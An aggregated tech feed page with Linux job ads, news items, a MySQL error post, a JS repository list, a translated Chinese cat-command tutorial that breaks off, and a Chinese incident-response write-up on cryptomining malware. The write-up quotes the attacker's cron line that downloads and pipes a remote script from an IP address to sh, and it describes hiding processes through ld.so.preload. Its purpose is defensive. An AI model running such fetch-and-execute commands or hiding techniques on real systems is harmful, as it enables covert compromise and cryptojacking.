Through its partnerships, Resolvit delivers highly impactful, innovative solutions across five core areas:. Join Resolvit as an Identity Management Engineer and...
From Resolvit, LLC - Sun, 30 Sep 2018 17:23:36 GMT - View all Richmond, VA jobs
          Linux Security Engineer - Resolvit, LLC - Virginia      Cache   Translate Page      
Through its partnerships, Resolvit delivers highly impactful, innovative solutions across five core areas:. At Resolvit, you’ll be given the support you need to...
From Resolvit, LLC - Sun, 30 Sep 2018 17:22:38 GMT - View all Virginia jobs
          Software Engineer - CACI - Reston, VA      Cache   Translate Page      
Experience using Unix like OS (Solaris, Linux, Unix, Irix, HPUX, SCO, etc..). CACI is seeking a Software Engineer in Reston, VA....
From CACI - Thu, 20 Sep 2018 10:41:54 GMT - View all Reston, VA jobs
          How to Install DRBD on CentOS Linux      Cache   Translate Page      
This step-by-step tutorial demonstrates how to install Distributed Replicated Block Device (DRBD) on CentOS Linux.
          Univerzális memória-kártya olvasó 1 Ft NMÁ!!!!!!!! - Jelenlegi ára: 1 Ft      Cache   Translate Page      
Univerzális USB 2. 0 Memória kártya-olvasó
480 Mb/s sebesség
Kompatibilis: USB 1. 1 és 2. 0
4 kártya foglalat
Támogatott kártya típusok: Micro MS/ M2/ SD/ MMC/ SDHC/DV/MS DUO/ MS PRO DUO/ Micro SD/T-Flash
Kompatibilis operációs rendszerek: Windows 7/VISTA/XP/2000/ME/98SE/98, Mac OS X 9. 0 és Linux 2. 4 vagy újabb verziói
Vékony kialakítás, kompakt méret
Plug & Play: behelyezés után egyből működik
Támogatott kártyaméret: max 32 Gb
Anyaga: műanyag
Méret: 66 x 21 x 16 mm
Súly: 14 g
Szín: véletlenszerű
A termékek külföldről érkeznek, emiatt a szállítási idő 15-30 munkanap, kérem mindenki ennek tudatában licitáljon!
Univerzális memória-kártya olvasó 1 Ft NMÁ!!!!!!!!
Jelenlegi ára: 1 Ft
Az aukció vége: 2018-10-10 12:34
          When is a MySQL error not a MySQL error      Cache   Translate Page      

Photo by Cassidy Mills on Unsplash

I came across this error recently: Mysql2::Error: Can't connect to MySQL server on 'some-db-server.example.com' (113)

A quick search on the Internet, resulted in various Q & A sites hinting at a connectivity/routing issue to/from the MySQL server.

Whilst this was probably enough information for me to fix, if the problem exists on a 3rd party's infrastructure you want to provide a bit more information.

The first port of call was to see if the error code 113 appears in the MySQL reference. You can imagine my surprise when I couldn't find 113 anywhere in this chapter.

Luckily there is help available from MySQL in the form of a utility called perror that allows you to look up MySQL error codes.

By typing perror along with error code, you'll get the following:

$ perror 113
OS error code 113:  No route to host

So the reason we can't find this error in either the Client or Server sections of the MySQL reference manual is that it's an operating system error.

The operating system in question is Linux, so we know we're looking for C error number codes (errno.h). If you've got access to the kernel source you can find it in /usr/src/linux-source-<VERSION>/include/uapi/asm-generic/errno.h if you don't have the source installed you can see it see a definition of 113 GitHub:

#define    EHOSTUNREACH    113    /* No route to host */

So armed with this information, I could contact the 3rd party and ask them to check routing and firewall rules between us and the database server.


          27 monthly most popular JS repositories      Cache   Translate Page      

Originally I shared this digest to Syndicode blog.

There were too many cool projects popular this month. And it was extremely hard to select those worth your attention. Of course, it's unlikely you will use even the half of them. But I will deliver them to you in hope that they still will be somehow useful. Among these open source GitHub JavaScript repositories you'll find popular JS frameworks, useful resources to build apps, utility libraries, npm packages and data-driven animations, next-generation databases and PWA storefronts... And many other great open source JavaScript repositories you should know!

Here we are with the most interesting

Monthly most popular JavaScript repositories:

    1. Electron is a framework to build cross-platform desktop apps with JavaScript, HTML, and CSS. 65,322 stars by now.
    2. Create React App repository consists of useful resources help to build apps with no build configuration. 57,074 stars by now.
    3. date-fns is a modern JavaScript utility library. It's the Moment.js competitor that provides comprehensive, yet simple and consistent toolset for manipulating JavaScript dates in a browser and Node.js. 14,200 stars by now.
    4. Husky is an npm package that lets you define npm scripts that correlate to local Git events such as a commit or push. It makes Git hooks easy. 9,896 stars by now.
    5. PostGraphile is an instant GraphQL API for PostgreSQL database. It pairs these two technologies together to build faster applications. 6,007 stars by now.
    6. React Move is a set of data-driven animations for React. It provides built-in support for interpolating of strings, numbers, colors, SVG paths and transforms, animating HTML, SVG and React-Native. 5,502 stars by now.
    7. AngularFire is the official library for Firebase and Angular. 4,204 stars by now.
    8. WatermelonDB is a Next-gen database for powerful React and React Native apps that scales to 10,000s of records and remains fast. It is a new way of dealing with user data in React Native and React web apps. 4,183 stars by now.
    9. Vue Storefront is a standalone PWA storefront for eCommerce, possible to connect with any eCommerce backend (eg. Magento, Pimcore, Prestashop or Shopware) through the API. 3,134 stars by now.
    10. Ky is a tiny and elegant HTTP client based on the browser Fetch API. It targets modern browsers and has simpler API, JSON option, timeout support, URL prefix option, and other neat benefits. 2,771 stars by now.
    11. Pigeon Maps - ReactJS maps without external dependencies. 2,671 stars by now.
    12. BundlePhobia is a web service to find out how much will an npm package cost your project. It can measure the size of CSS/Sass libs too and report whether the module supports tree shaking. The same service is available via CLI tool and an atom plugin. 1,992 stars by now.
    13. Ring UI is a collection of UI components aims to provide all of the necessary building blocks for web-based products built inside JetBrains, as well as third-party plugins developed for JetBrains' products. 1,920 stars by now.
    14. React-Proto is a React application prototyping tool for developers and designers. It allows the user to visualize/setup their application architecture upfront and eject this architecture as application files. 1,750 stars by now.
    15. NLP.js is an NLP library built in Node.js over Natural, with entity extraction, sentiment analysis, automatic language identity, and more. 1,501 stars by now.
    16. Sqorn is a Javascript library for building SQL queries. It's composable, intuitive (tagged template), concise (for common CRUD operations), fast and secure (it generates parameterized queries safe from SQL injection). 1,480 stars by now.
    17. Apify SDK is the scalable web crawling and scraping library for JavaScript that enables the development of data extraction and web automation jobs with headless Chrome and Puppeteer. 1,257 stars by now.
    18. WWWBasic is an implementation of BASIC (Beginner's All-purpose Symbolic Instruction Code) designed to be easy to run on the Web. 1,032 stars by now.
    19. Tabulator is interactive tables and data grids for JavaScript. It allows you to create interactive tables in seconds from any HTML Table, Javascript Array or JSON formatted data. 980 stars by now.
    20. tiptap is a renderless and extendable rich-text editor for Vue.js. 958 stars by now.
    21. worker-plugin automatically bundles and compiles Web Workers within Webpack. 839 stars by now.
    22. Express ES2017 REST API Boilerplate is a Boilerplate/Generator/Starter Project for building RESTful APIs and microservices using Node.js, Express, and MongoDB. 661 stars by now.
    23. d3-dag is a bunch of layout algorithms for visualizing directed acyclic graphs. 629 stars by now.
    24. Taiko is a Node.js library to automate chrome/chromium browser, works on Windows, MacOS, and Linux. 625 stars by now.
    25. low.js is a port of Node.JS with far lower system requirements. 609 stars by now.
    26. vuejs-wordpress-theme-starter is a true WordPress theme with the guts ripped out and replaced with Vue. Based on the BlankSlate WP starter theme. 557 stars by now.
    27. Lyo is the easiest way to transform Node.js modules into browser-compatible libraries. 504 stars by now.


Check my previous JS digests here.
          Computer programmer/Analyst - Wiz Management - Regina, SK      Cache   Translate Page      
Technical resource responsible for RAVE component development for both PC and web platforms (Microsoft and Linux). Supporting a shipping rate application....
From Wiz Management - Fri, 28 Sep 2018 05:00:48 GMT - View all Regina, SK jobs
          Debian GNU/Linux 9 "Stretch" Gets New Kernel Patch to Fix Two Security Flaws      Cache   Translate Page      

Coming just a week after the latest major kernel security update for Debian GNU/Linux 9 "Stretch," the new Linux kernel security patch is here to address a flaw (CVE-2018-15471) discovered by Google Project Zero's Felix Wilhelm in the hash handling of Linux kernel's xen-netback module, which could result in information leaks, privilege escalation, as well as denial of service.

"Felix Wilhelm of Google Project Zero discovered a flaw in the hash handling of the xen-netback Linux kernel module. A malicious or buggy frontend may cause the (usually privileged) backend to make out of bounds memory accesses, potentially resulting in privilege escalation, denial of service, or information leaks," reads the security advisory published by Salvatore Bonaccorso.

Read more

read more


          Network appliance and ATX board debut AMD’s Epyc Embedded 3000      Cache   Translate Page      

Ibase has launched the first network appliance based on AMD’s Epyc Embedded 3000 SoC. The 1U rackmount “FWA8800” appliance features 16 or 32 GbE ports and is built on a new “MBN806” ATX board.

We don’t regularly cover high-end, rackmount network appliances, but we thought this one might be of interest: As promised in February when AMD announced the Xeon-like Epyc Embedded 3000 SoC along with its Ryzen Embedded V1000, Ibase has released the first network appliance based on the Epyc chip. The 1U rackmount FWA8800 network appliance features 2x or 4x NIC slots for up to 16x or 32 GbE ports.

Read more

read more


           Linus' Behavior and the Kernel Development Community      Cache   Translate Page      

On September 16, 2018, Linus Torvalds released the 4.19-rc4 version of the kernel, and he also announced he was taking a break from Linux development in order to consider his own behavior and to come up with a better approach to kernel development. This was partly inspired by his realization that he wasn't looking forward to the Kernel Summit event, and he said that "it wasn't actually funny or a good sign that I was hoping to just skip the yearly kernel summit entirely."

Read more

read more


          today's leftovers      Cache   Translate Page      

read more


          Fedora: F29 Later This Month, Firefox on Wayland, and Josef Strzibny's Upcoming Book      Cache   Translate Page      
  • Fedora 29 Is Now Under Its Final Freeze For Release Later This Month

    As of last night Fedora 29 embarked upon its final freeze as the last step for reaching its official debut by month's end.

    Fedora 29 development is now effectively over except for any granted freeze exceptions or blocker bug fixes. Any other updates will be queued to go down as package updates post-release.

    As of writing, there are eight accepted blocker bugs already ranging from DNF update fails to issues unlocking LUKS-encrypted USB/SD drives from within GNOME to a GNOME Shell Wayland crash.

  • Fedora Developers Update Firefox For Wayland With V-Sync, HiDPI, Better Rendering

    Red Hat / Fedora developers have updated Firefox packages pending for F27 / F28 / F29 that bring a slew of improvements for the web-browser operating under Wayland.

    The updated Firefox 63 and 64 Nightly packages for Fedora Linux users include patches to fix or provide better rendering support, v-sync is now working under Wayland, and there is also working HiDPI scaling support.

    The Firefox-Fedora packages also build with the currently out-of-tree Pipewire WebRTC support too.

  • Firefox on Wayland update

    The builds also ship PipeWire WebRTC patch for desktop sharing created by Jan Grulich and Tomas Popela. Wayland applications are isolated from desktop and don’t have access to other windows (as X11) thus PipeWire supplies the missing functionality along the browser sandbox.

    I think the rendering is generally covered now and the browser should work smoothly with Wayland backend. That’s also a reason why I make it default on Fedora 30 (Rawhide) and firefox-x11 package is available as a X11 fallback. Fedora 29 and earlier stay with default X11 backend and Wayland is provided by firefox-wayland package.

  • Josef Strzibny: I am writing an introductory book to web application deployment

    I decided to write a book (at the very least attempt to). And yes, there will be some Fedora inside!

read more


          Games: Kingdom Rush Origins, TinyBuild, Openwashing, Niffelheim, Unleashed, AI War 2, A Gummy's Life, KURSK and Wine      Cache   Translate Page      
  • Kingdom Rush Origins to release October 18th, Linux support confirmed for release

    Ironhide Game Studio have announced today that Kingdom Rush Origins will release on Steam on October 18th. I've no doubt it will make it to other stores too like GOG and Humble Store like previous games, however they've only mentioned Steam so far.

    I asked the developer on Twitter, if the Linux version would be released at the same time. They replied with "Yes!", so that's really great news for Linux gamers.

  • Humble are allowing you to build your own bundle of TinyBuild games and save some monies

    For those of you craving your latest Linux gaming fix, Humble are doing a build your own bundle with TinyBuild.

    The way it works, is that a ton of games are on sale and if you add at least three to your basket you will get an additional discount. If you add four the discount is higher and higher again if you add five. The saving you can get is kind of ridiculous.

  • Mojang to open source more of Minecraft with two libraries already on GitHub [Ed: This is openwashing; they just free a few bits here and there...]

    I have to admit, I am quite surprised by this. Mojang (owned by Microsoft) are to open source more of Minecraft and they've already started to do so.

  • Niffelheim, a dark survival RPG released recently with Linux support

    It seems we have a few readers interested in Niffelheim emailing it in, a dark survival RPG that follows some elements of Norse mythology that recently released with Linux support.

  • Looks like the 2D open-world sandbox RPG Unleashed is releasing soon

    Unleashed, a 2D open-world sandbox RPG that was funded on Kickstarter is looking pretty good and it's releasing soon with Linux support. I initially covered it back in March this year, as this promising RPG was emailed to us directly by the developer. I completely forgot about it, but thankfully they succeeded in getting funds on Kickstarter with around €10K being pledged. Not a lot, so hopefully the end result is still good.

  • Arcen Games grand strategy game 'AI War 2' to enter Early Access on October 15th

    Nearly two years after the Kickstarter, Arcen Games are ready to bring in more players. AI War 2 is going to enter Early Access on October 15th.

    The sequel to their 2009 hit AI War: Fleet Command, AI War 2 has you take on an overwhelming "inhuman" enemy that has underestimated you. Their currently plan is to remain in Early Access until at least "Q2 2019", although that does depend on how feedback goes and what they need to work on.

  • The amusing multiplayer game A Gummy's Life has left Early Access with an overhauled movement system

    A Gummy's Life is a really fun multiplayer game that can be played with local players and online. It's now left Early Access with a major update.

    I've had quite a lot of fun with this, especially with my Son who adores it because it's completely silly. One thing that wasn't too great was the movement system, which they've actually overhauled as part of the 1.0 update. Movement seems smoother, more responsive and you have a better amount of control with it now too making it an even better experience.

  • First-person adventure about sunken Russian sub KURSK to have a delayed Linux release

    KURSK [Official Site] seems like it's going to be quite a compelling action-adventure game which follows the story of the Russian Kursk submarine disaster back in 2000. I've been following it now for years as it sounds quite interesting, although Linux native gamers have to wait a little longer.

    The developer, Jujubee S.A., has been emailing us their usual press emails about it and it has been clearly mentioning Linux support. However, the Steam store page doesn't mention Linux. After trying to reach them for months over emails, I decided to try Facebook today and they actually responded with a clear "Yes, KURSK will be released on Linux.". Sadly though, the Linux version will come later than the Windows build while they are working to "provide the best possible results on Linux". I've been told the media folks will contact us sometime in regards to the Linux release.

  • Wine's Direct3D Code Will Now Default To OpenGL Core Contexts For NVIDIA GPUs Too

    Earlier this year with Wine 3.9 its Direct3D code changed to default to OpenGL 4.4 core contexts rather than the legacy/compatibility context. NVIDIA GPUs ended up being left at the older value but now that has changed.

    As of yesterday in Wine Git, CodeWeavers' Henri Verbeet has changed the WineD3D code now to also default to OpenGL core contexts for NVIDIA GPUs.

read more


          Help in linux file system      Cache   Translate Page      
I need help in digital ocean. i have installed windows in droplet and every thing is working but the problem is with disk. i need to add extra disk to my windows. so what i did i just simply attached new volume to droplet and mounted... (Budget: $10 - $30 USD, Jobs: Amazon Web Services, Linux, Network Administration, System Admin, Ubuntu)
          Reading .txt file from remote machine?      Cache   Translate Page      

Hi,

I`m just starting out with LabView so I apologise for any obvious questions..

 

In my current project I'm trying to read a .txt file from a measurement device (Red Pitaya with Linux/Ubuntu running on it; connected via Ethernet) to plot a graph from x&y values.. I would have to somehow automatically navigate to the folder where the file is and use it as input.

 

The options I've found so far is TCP connection with the Listen.vi or some kind of SSH-connection via (Extra-)Putty.. Not sure how to exactly go about it though..

 

If anyone of you could lead me into the right direction I'd highly appreciate it!


          Linux中的cat命令:基本和高级示例      Cache   Translate Page      

cat 命令的名称来源于单词catenate,此单词的意思是一个接一个地连接起来。cat 命令的用途是连接文件或标准输入并打印,这个命令常用来显示文件内容,或者将 几个文件连接起来显示,或者从标准输入读取内容并显示。

# Let's obtain first some sample data files:

curl -so - dict://dict.org/'d:felidae:gcide' | unexpand -a -t 3 |

sed -Ee '/^151/,/^[.]/!d;/^[.0-9]/s/.*//' > felidae.txt

curl -so - dict://dict.org/'d:felis:gcide' | unexpand -a -t 3 |

sed -Ee '/^151/,/^[.]/!d;/^[.0-9]/s/.*//' > felis.txt

# Catenate files

cat felidae.txt felis.txt

如果要将该串联的结果存储在文件中,则必须使用shell重定向:

cat felidae.txt felis.txt > result.txt

cat result.txt

即使它的主要设计目标是连接文件,cat实用程序通常也只使用一个参数来将该文件的内容显示在屏幕上,就像我在上面示例的最后一行中所做的那样。

A.使用带有标准输入的cat命令

当没有任何参数使用时,cat命令将从其标准输入读取数据并将其写入其标准输出 - 这通常是无用的...除非您使用某些选项来转换数据。 我们稍后会讨论几个有趣的选项。

除了文件路径之外,cat命令还将 - 特殊文件名理解为标准输入的别名。 这样,您可以在命令行上给出的文件之间插入从标准输入读取的数据:

# Insert a separator between the two concatenated files

echo '----' | cat felis.txt - felidae.txt

B.使用cat命令和二进制文件

1.加入拆分文件

cat命令不对文件内容做任何假设,因此它将很乐意使用二进制数据。 重新加入由split或csplit命令破坏的文件可能有用的东西。 或者像我们现在一样加入部分下载:

#

# A picture by Von.grzanka (CC-SA 3.0)

# Optimize bandwidth usage by breaking the download in two parts

# (on my system, I observe a 10% gain that way compared to a "full" download)

curl -s -r 0-50000 \

https://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/Felis_catus-cat_on_snow.jpg/1024px-Felis_catus-cat_on_snow.jpg \

-o first-half &

curl -s -r 50001- \

https://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/Felis_catus-cat_on_snow.jpg/1024px-Felis_catus-cat_on_snow.jpg \

-o second-half &

wait

我们现在有两个一半的图像。 您可以使用ImageMagick的显示器或gimp或任何其他能够读取图像文件的软件打开前半部分并看到它“损坏”:

display first-half

# -or-

gimp first-half

# -or-

firefox first-half

如果你研究我使用的curl命令,你会看到这两个部分完全互补。 前半部分是从字节0到50000,后半部分是从字节50001到文件末尾。 它们之间不应该缺少数据。 所以我们只需要将两个部分组合在一起(按正确的顺序)以获取完整的文件:

cat first-half second-half > image.jpg

display image.jpg

2.使用可流式文件格式
您不仅可以使用cat命令“重新加入”分成几个部分的二进制文件,但在某些情况下,您还可以通过这种方式创建新文件。 对于像MPEG传输流视频文件(.TS文件)文件格式,这种方法效果特别好:

# Let's make a still video file from our picture

ffmpeg -y -loop 1 -i cat.jpg -t 3 \

-c:v libx264 -vf scale=w=800:h=-1 \

still.ts

# Let's make a fade-in from the same picture

ffmpeg -y -loop 1 -i cat.jpg -t 3 \

-c:v libx264 -vf scale=w=800:h=-1,fade=in:0:75 \

fadein.ts

# Let's make a fade-out from the same picture

ffmpeg -y -loop 1 -i cat.jpg -t 3 \

-c:v libx264 -vf scale=w=800:h=-1,fade=out:0:75 \

fadeout.ts

我们现在可以使用cat命令组合所有这些传输流视频文件,在输出中获得完全有效的TS文件:

cat fadein.ts still.ts fadeout.ts > video.ts

mplayer video.ts

由于TS文件格式,您可以按照您想要的顺序组合这些文件,甚至可以在参数列表中多次使用相同的文件在输出视频中创建循环或重复。显然,如果我们使用动画图像,这会更有趣,但我会让你自己这样做:许多消费级设备记录TS文件,如果他们不记录,你仍然可以使用ffmpeg转换几乎任何视频文件到传输流文件。不要犹豫,使用评论部分分享您的作品!

3.破解cpio档案

作为最后一个示例,让我们看看如何使用cat命令组合几个cpio档案。但这一次,它不会那么简单,因为它需要一些关于cpio存档文件格式的知识。

cpio存档按顺序存储文件的元数据和内容,这使其适合与cat实用程序进行文件级连接。不幸的是,cpio存档还包含一个用于标记存档结尾的预告片:

# Create two genuine CPIO `bin` archive:

$ find felis.txt felidae.txt | cpio -o > part1.cpio

2 blocks

$ echo cat.jpg | cpio -o > part2.cpio

238 blocks

$ hexdump -C part1.cpio | tail -7

000002d0 2e 0d 0a 09 09 20 20 5b 57 6f 72 64 4e 65 74 20 |..... [WordNet |

000002e0 31 2e 35 5d 0d 0a 0a 00 c7 71 00 00 00 00 00 00 |1.5].....q......|

000002f0 00 00 00 00 01 00 00 00 00 00 00 00 0b 00 00 00 |................|

00000300 00 00 54 52 41 49 4c 45 52 21 21 21 00 00 00 00 |..TRAILER!!!....|

00000310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

*

00000400

$ hexdump -C part2.cpio | tail -7

0001da40 46 96 ab f8 ad 11 23 90 32 79 ac 1f 8f ff d9 00 |F.....#.2y......|

0001da50 c7 71 00 00 00 00 00 00 00 00 00 00 01 00 00 00 |.q..............|

0001da60 00 00 00 00 0b 00 00 00 00 00 54 52 41 49 4c 45 |..........TRAILE|

0001da70 52 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 |R!!!............|

0001da80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

*

0001dc00

对于cpio二进制存档,好的新内容是预告片具有280字节的固定长度。 因此,使用head standard命令,我们可以轻松地将其删除:

# Each archive end with the 280-byte trailer.

# To catenate both archives, just remove the trailer

# at the end of the first part:

$ head -c-280 part1.cpio | cat - part2.cpio > cat.cpio

$ cpio -it < cat.cpio

felis.txt

felidae.txt

cat.jpg

239 blocks

C.必需的猫命令选项

在使用各种二进制文件格式之后,让我们通过研究专门为处理这些文件而定制的几个选项来回到普通的旧文本文件。 虽然不是POSIX标准的一部分,但这些选项可以在BSD和GNU cat实现中移植。 请注意我不会假装在这里详尽无遗,因此请检查该人以查看系统中cat支持的完整选项列表!

-n:数字行

使用n选项,cat命令将为每个输出行添加其行号前缀:

cat -n felidae.txt

1

2 Felidae \Felidae\ n.

3 a natural family of lithe-bodied round-headed fissiped

4 mammals, including the cats; wildcats; lions; leopards;

5 cheetahs; and saber-toothed tigers.

6

7 Syn: family {Felidae}.

8 [WordNet 1.5]

9

-n选项编号输出行。 这意味着从一个输入文件切换到下一个输入文件时,计数器不会被重置,如果您自己尝试以下命令,您将看到它:

cat -n feli*.txt

-s:抑制重复的空输出行

使用-s选项,cat命令将仅折叠多个连续的空行:

cat -n felis.txt felidae.txt | sed -n 8,13p

8 lynx ({Felis lynx}) is also called {Lynx lynx}.

9 [1913 Webster +PJC]

10

11

12 Felidae \Felidae\ n.

13 a natural family of lithe-bodied round-headed fissiped

linuxidc@linuxidc:~$ cat -ns felis.txt felidae.txt | sed -n 8,13p

8 lynx ({Felis lynx}) is also called {Lynx lynx}.

9 [1913 Webster +PJC]

10

11 Felidae \Felidae\ n.

12 a natural family of lithe-bodied round-headed fissiped

13 mammals, including the cats; wildcats; lions; leopards;

在上面的示例中,您可以看到,在默认输出中,第10行和第11行是空的。 添加-s选项时,第二个空行被丢弃。

-b:仅编号非空行

与前面两个选项有些相关,-b选项会对行进行编号,但忽略空行:

$ cat -b felidae.txt | cat -n

1

2 1 Felidae \Felidae\ n.

3 2 a natural family of lithe-bodied round-headed fissiped

4 3 mammals, including the cats; wildcats; lions; leopards;

5 4 cheetahs; and saber-toothed tigers.

6 5

7 6 Syn: family {Felidae}.

8 7 [WordNet 1.5]

9

上面的示例使用cat命令的两个实例,其中包含管道中的不同选项。内部编号来自第一个cat命令使用的-b选项。外部编号来自第二只猫使用的-n选项。

如您所见,第一行和最后一行未使用-b选项编号,因为它们是空的。但是第6行怎么样?为什么它仍然使用-b选项进行编号?好吧,因为它是一个空白行 - 但不是空行,我们将在下一节中看到。

-v,-e,-t:显示非打印字符

三个选项-v,-e`和`-t用于显示不同的不可见字符集。即使集合重叠,也没有“全包”选项,因此如果要显示所有不可见字符,则必须将它们组合在一起。

-v:查看不可见的字符

-v选项显示除插入符号和制表符号以外的带插入符号和元符号的所有非打印字符。

使用该选项,控制字符将显示为插入符号(^),后跟相应的ASCII字符(例如,回车符,字节13,显示为^M,因为ASCII中的M为64 + 13),以及具有高字符的字符 - 阶位设置将以“元”符号M-出现,其后是对应于7个低位的表示(例如,字节141将显示为M-^M,因为141是128 + 13)。

虽然看似深奥,但在使用二进制文件时,该功能可能很有用,例如,如果要检查嵌入在JPEG文件中的原始信息:

$ cat -v cat.jpg | fold -75 | head -10

M-^?M-XM-^?M-`^@^PJFIF^@^A^A^A^@H^@H^@^@M-^?M-~^@QFile source: http://commo

ns.wikimedia.org/wiki/File:Felis_catus-cat_on_snow.jpgM-^?M-b^LXICC_PROFILE

^@^A^A^@^@^LHLino^B^P^@^@mntrRGB XYZ ^GM-N^@^B^@ ^@^F^@1^@^@acspMSFT

^@^@^@^@IEC sRGB^@^@^@^@^@^@^@^@^@
          挖矿程序中毒分析(有这篇够不)      Cache   Translate Page      

常在河边走,哪能不湿鞋?

这不,昨天在朋友技术群里又见到了挖矿被中毒的场景......


挖矿程序中毒分析(有这篇够不)

猛然间想起自己帮媳妇儿公司处理过hadoop管理平台yarn弱口令漏洞被利用,

从而成为挖矿者俘虏的往事。

以前案例现象:

访问yarn:8088页面发现一直有任务在跑如图:


挖矿程序中毒分析(有这篇够不)

用户为dr.who,问下内部使用人员,都没有任务在跑;

结论:

服务器被中毒了, 者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行 ,***者可以在未授权的情况下远程执行代码的安全问题进行预警。

用top命令发现cpu使用了360%多,系统会很卡。

解决办法:

1,通过查看占用cpu高得进程,kill掉此进程

2,检查/tmp和/var/tmp目录,删除java、ppc、w.conf等异常文件

3 ,通过crontab -l 查看有一个 * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1任务,删除此任务

4,排查YARN日志,确认异常的application,删除处理

再通过top验证看是否还有高cpu进程,如果有,kill掉,没有的话应该正常了。

注意:YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何 则就均可利用其进行远程命令执行,从而进行挖矿等行为, 直接利用开放在8088的REST API提交执行命令,来实现在服务器内下载执行.sh脚本,从而再进一步下载启动挖矿程序达到挖矿的目的,因此注意并启用Kerberos认证功能,禁止匿名访问修改8088端口


挖矿程序中毒分析(有这篇够不)

于是,自告奋勇,以为还是类似的情景。


挖矿程序中毒分析(有这篇够不)

技技术群对话~~


挖矿程序中毒分析(有这篇够不)
挖矿程序中毒分析(有这篇够不)
挖矿程序中毒分析(有这篇够不)
挖矿程序中毒分析(有这篇够不)
挖矿程序中毒分析(有这篇够不)
挖矿程序中毒分析(有这篇够不)
加密的脚本内容:
挖矿程序中毒分析(有这篇够不)

解密后脚本节选:


挖矿程序中毒分析(有这篇够不)
挖矿程序中毒分析(有这篇够不)
挖矿程序中毒分析(有这篇够不)
挖矿程序中毒分析(有这篇够不)

于是忍不住了,


挖矿程序中毒分析(有这篇够不)

问了下自己远程连接操刀

删除了几番试试,

按照脚本反其道而行之,

结果还是杀不干净.top能看到cpu 100%爆满.

就是看不清是那个程序占用.?

由于网络延时,没截图。

于是想肯定是top被替换了,

继续看了一下脚本,

原来是一张图片内嵌至伪造的同名库文件里,

同时库文件调用了下载程序的执行脚本,

top一下程序自动运行,并且子孙无穷尽。


挖矿程序中毒分析(有这篇够不)
挖矿程序中毒分析(有这篇够不)
(脚本是解密后放在自己服务器截的图)

本想干掉这个top的库文件,

但由于命名的诱惑性,

外加上杀不干净的程序,

当执行rm -rf时,

也明显感受到对方朋友的紧张。

于是了解业务后,

发现机器影响的业务并不严重.

也快下班了,于是不想再折腾了。


挖矿程序中毒分析(有这篇够不)
挖矿程序中毒分析(有这篇够不)
挖矿程序中毒分析(有这篇够不)
挖矿程序中毒分析(有这篇够不)
仔细再次溜了一遍脚本,

想再装系统之前和对方朋友涨涨姿势的,

但感觉到对方朋友

其实并不是乐意于彻底学习这个问题,

于是建议其重装。

事后,坐地铁总结了一下。


挖矿程序中毒分析(有这篇够不)

常见的挖矿中毒程序处理方式

处理过程的思路和建议方法。

1.服务器怎么会中挖矿***程序

肉鸡 弱口令 webshell xss 软件漏洞bug redis zk mysql 0day yarn等造成服务器被扫描并且提权。

2 首先遇到这样情况,我们杀掉挖矿的程序它会自己起来

没清理干净 定时任务 命令修改 开机自启动文件 历史记录

3.如何处理?

首先根据业务判定,造成业务故障,可选用HA方案切走应用服务,对服务器进行下架切断一切网络来源,进行相关处理。

当然一般处理方案是这样,首先通过iptables或者firewalls防火墙手段封死***者地址,类似与切断网络来源,接下来我们就可以进行分析和处理挖矿的原因。

处理的方式 可以根据挖矿脚本进行分析 一个一个进行处理 对修改的命令和文件进行恢复和删除 。

后期对系统和web进行安全测试,对系统漏洞进行修复.

linux后门入 侵检测工具chkrootkit、RKHunter等的巡检。

系统文件MD5值的对比。其实安全最大的因素是人。

当然监控也非常重要。

4.此次原因分析

Redis存在弱口令导致的此次故障问题,Redis可以通过config配置方式 修改配置目录将自己的key放在服务器上,以达到服务器提权的目的。

Redis 未授权访问缺陷可轻易导致系统被黑:

https://www.seebug.org/vuldb/ssvid-89715

笔者建议出现类似事故后处理的命令:

查看哪个进程占据cup

通过 top 或者使用 ps aux

这个案例通过top 命令看不到哪个进程占用了cup ,查看脚本后执行 cat /etc/ld.so.preload 里面也加载了异常的文件,判断是用于隐藏进程用的, 建议将其内容注释掉或删除,执行ldconfig 然后再使用top 查看下进程;

!
挖矿程序中毒分析(有这篇够不)

疑点:

脚本里面图片在浏览器能打开,本地打不开.怀疑是隐写术(微信后台传不来)


挖矿程序中毒分析(有这篇够不)

本地打不开,隐写工具也打不开。


挖矿程序中毒分析(有这篇够不)

使用 ls -lt /etc | head 查看最近变动的文件目录

或者使用 find 命令加参数 stat 查找最近修改过的文件

当然如果是细心一些的,还是会修改掉文件change时间点的.

查找进程文件删除,执行其中任意 1 条命令即可

ps -ef | grep shutdown [命令] ps aux | grep /bin/bash [命令路径] ps aux | grep bash [命令]

lsof -p PID

cd /proc/4170 [pid]
挖矿程序中毒分析(有这篇够不)
找出系统中所有的僵尸进程

ps aux | grep 'defunct'

ps -ef | grep defunct | grep -v grep | wc -l

清理僵尸进程

ps -e -o ppid,stat | grep Z | cut -d" " -f2 | xargs kill -9

kill -HUP ps -A -ostat,ppid | grep -e '^[Zz]' | awk '{print $2}'
挖矿程序中毒分析(有这篇够不)

查找系统中的定时任务

crontab -l

或者

cd /var/spool/cron #查看这个文件夹下的文件删除

vim /etc/crontab

里面会有一个定时任务并且一般删不掉。 浏览器打开网址是个脚本,通过base64 加密,解密即可看到脚本内容。

还要注意随机启动脚本.

根据脚本删除脚本创建的文件,我这里期望删除的是

/usr/local/lib/dns.so ,/etc/ld.so.preload

查看系统登录日志

日志文件 /var/log/wtmp ,系统的每一次登录,都会在此日志中添加记录,为了防止有人篡改,该文件为二进制文件

cd /var/log ; last 或者 last -f /var/log/wtmp

当然这个案例里面日志都是被清掉的.


挖矿程序中毒分析(有这篇够不)

删除历史操作命令,防止***进入查看你做了哪些操作

history 命令来查看历史命令


挖矿程序中毒分析(有这篇够不)
history -c 是清除当前shell的历史纪录,因为系统一般会把信息保存在一个文件中,只要文件中内容没有改变,那么信息也不会变。linux中存放历史命令的文件是.bash_history,清空该文件(echo ‘’ > /root/.bash_history),那些历史命令就会被清空了。

如果是在shell脚本中调用 history -c 清空当前shell的历史命令,是不会成功的,因为bash执行命令时默认是会产生一个子进程来执行该命令,在子进程中执行 history -c 不是清除你当前shell的历史命令了。

